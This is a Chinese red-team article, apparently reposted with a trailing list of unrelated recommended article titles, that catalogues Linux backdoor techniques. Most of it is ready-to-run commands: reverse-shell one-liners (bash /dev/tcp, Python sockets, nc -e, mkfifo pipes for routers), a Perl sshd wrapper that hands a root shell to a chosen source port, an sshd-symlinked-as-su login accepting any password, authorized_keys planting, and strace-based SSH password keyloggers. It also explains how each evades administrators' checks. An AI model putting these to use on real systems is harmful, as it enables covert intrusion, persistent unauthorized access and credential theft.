导读:常见红队评估中,也能遇到很多Linux服务器,如何使Linux在安全人员/运维人员的检查过程中能够稳定的持续的用做跳板,本系列文章将对常见的Linux后门技术作以总结归纳,将相关技术展现给大家。

本篇文章是Linux后门总结文章第一篇,简单介绍了一些常见的shell反弹用法,还有针对不同系统/架构的反弹用法,后门要达到的目的一般都是用作权限维持,这里只介绍几种后面文章中会利用到的shell反弹方式,用不到的就不再往上写了。接着将针对SSH后门利用做一个分类说明演示,结合在一些实战环境中应用的特点。

拿到机器后可以查看一下有没有相关程序,反弹shell等进程能够被查到,这条命令可以简单的kill掉一些常见恶意程序。

批量kill可疑进程:

ps -ef |grep "python" |awk '{print $2}'|xargs kill -9ps -ef |grep "bash -i" |awk '{print $2}'|xargs kill -9ps -ef |grep "ew" |awk '{print $2}'|xargs kill -9

LINUX反弹shell

关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1

优点:在大多数Liunx系统上都可以使用,缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

nc -e /bin/bash 127.0.0.1 6666

一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。

wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gztar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make install

优点:直接反弹,没有多余的符号。缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。解决方法1:

nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777

利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。

解决方法2(针对某些mips架构的路由器&busybox终端的系统):

//锐捷mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1//飞鱼星反弹shellmkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

SSH后门

SSH wrapper

判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。

cd /usr/sbin/mv sshd ../binvim sshd //编辑sshd内容为以下#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); // \x00\x00LF是19526的大端形式exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;service sshd restart

在本机执行

socat STDIO TCP4:127.0.0.1:22,sourceport=19265

可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。

修改端口可以修改..LF

import structbuffer = struct.pack('>I6',19526)print repr(buffer)

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su/tmp/su -oPort=888

优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

SSH 公钥免密登陆

ssh-keygen -t rsa //生成公钥

将id_rsa.pub内容放到目标.ssh/authorized_keys里

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接等情景。

SSH Keylogger

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的.bashrc里新建一条alias、这样可以抓取他登陆其他机器的ssh密码。算是alias后门。后面会在讲一下alias后门。

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

strace监听ssh来源流量

不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。

之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。

ps -ef | grep sshd #父进程PIDstrace -f -p 12617 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

可以看到也能抓到写入密码。

Info:

https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper

https://www.freebuf.com/articles/system/178150.html

该文章完成并在内部分享时间为:2019年12月18日,作为一篇技术整理不可避免的会和网上有些文章相同,仅供大家学习讨论。

本文作者:奇安信高级攻防部 @孙韬。目前奇安信安服红队发出江湖召集令,凡是具备实战渗透经验、红队经验、APT实战能力的大侠,均可前来一试,全国招募!联系邮箱:a-hr@qianxin.com

_

让网络更安全

让世界更美好

长按识别二维码关注我们

linux 系统命令被后门修改_红队实战攻防技术分享:Linux后门总结SSH利用篇相关推荐

  1. 你最想了解的红队实战攻防技术,来了

    前言 当前行业内组织的 "红蓝对抗演习" 在检验企业安全的同时也在磨练技术人员的技术水平,在近几年的演习中可以发现攻防双方的水准都有了极大的提升,本文将以红队的视角去阐述技术思想. ...

  2. 网络安全学习笔记——红队实战攻防(上)

    目录 红队及发展趋势 基本概念 发展趋势 防守阶段 备战阶段 临战阶段 实战阶段 战后整顿                                                 如果错过互联 ...

  3. 网络安全学习笔记——红队实战攻防(中)

    目录 防守策略 收缩战线--缩小暴露面 纵深防御--立体防渗透 守护核心--找到关键点 协同作战--体系化支撑 主动防御--全方位检测 应急处突--完备的方案 溯源反制--人才是关键          ...

  4. ATTCK实战系列——红队实战(五)

    ATT&CK实战系列--红队实战(五) 文章目录 ATT&CK实战系列--红队实战(五) 前言 靶场搭建 网络配置 外网渗透 内网渗透 内网信息收集 msf反弹shell 设置路由 探 ...

  5. ATTCK实战系列——红队实战(—)

    ATT&CK实战系列--红队实战(-) 文章目录 ATT&CK实战系列--红队实战(-) 前言 一.环境搭建 1.1 靶场下载 1.2 网卡配置 二.外网渗透 三.内网渗透 1. 尝试 ...

  6. ATTCK实战系列——红队实战(一)

    文章目录 环境搭建 渗透测试部分 phpmyadmin 日志 getshell yxcms 前端 XSS 任意文件写入 getshell 任意文件删除 后渗透阶段 域控信息收集 域外信息收集与渗透 3 ...

  7. [VulnStack] ATTCK实战系列—红队实战(二)

    文章目录 0x00 环境搭建 0x01 信息收集 端口探测 目录扫描 0x02 漏洞利用 0x03 内网收集 主机信息搜集 域信息收集 内网漏洞扫描 0x04 横向渗透 MS17-010 PsExec ...

  8. linux服务器只读,linux文件只读怎么修改_网站服务器运行维护

    ubuntu如何查看系统版本信息_网站服务器运行维护 ubuntu查看系统版本信息的方法是:可以通过执行[cat /proc/version]命令来查看,该命令会输出linux内核版本号和ubuntu ...

  9. linux磁盘写保护怎么修改_用\RAID 0.0999\ 写保护 Linux 硬盘分区-me09-ChinaUnix博客...

    用"RAID 0.0999" 写保护 Linux 硬盘分区 计 算机科学家 David Wheeler 有一句名言:"计算机科学中的任何问题,都可以通过加上一层逻辑层来解 ...

最新文章

  1. python 贪吃蛇小游戏代码_10分钟再用Python编写贪吃蛇小游戏
  2. 空跑Python程序
  3. es6与java的相似度,特斯拉Model Y对比蔚来ES6!这次对比结果出乎意料
  4. 作为怀孕的亲历者,你觉得最值得分享的经验或者技巧是什么?
  5. 为维护视图创建事物码
  6. MyCat实战--读写分离/数据分片/mycat集群/haproxy负载均衡
  7. es 调整gc_实际中进行GC调整
  8. python 魔术方法
  9. php之微型博客创建,php之微型博客的创建
  10. SQL_alter_table已有表操作
  11. Istio 核心组件介绍
  12. python csv数据所在行_使用python获取csv文本的某行或某列数据的实例
  13. 趣图:嫁人就嫁程序员,大妈都懂的!
  14. 程序员如何接私活?十年码农悄悄告诉你
  15. 计算机主机和音箱的接口电路,Zigbee协议与USB主机无线音箱电路设计
  16. selenium基础②:模拟QQ空间登录
  17. GDC2013 Horizon and Beyond A Look into Tomb Raider's Tools
  18. removeclass 传入两个类_jQuery removeClass() 方法
  19. C/C++实现http下载文件
  20. 仿鱼爪新媒账号过户转让平台源码/友价内核账号交易源码

热门文章

  1. 华为云FusionInsight连续三次获得第一,加速释放数据要素价值
  2. python编程第三站-在线密码破解工具
  3. java——API—— Object类——重写equals方法
  4. 2019年全国马拉松报名时间指南
  5. 「镁客·请讲」来画视频朴孟军:AI加码动画短视频制作,让小白用户像制作PPT一样做动画视频... 1
  6. 【flash】FPS游戏枪的后坐力制作 准星的抖动
  7. atheros 驱动 linux,请问有知道atheros无线网卡Linux驱动官方下载地址是什么吗?
  8. 【我为之而活的三种激情】by 伯特兰·罗素
  9. gin的contex的设计
  10. 2022-10-02 oracle 数据库 expdp 导出数据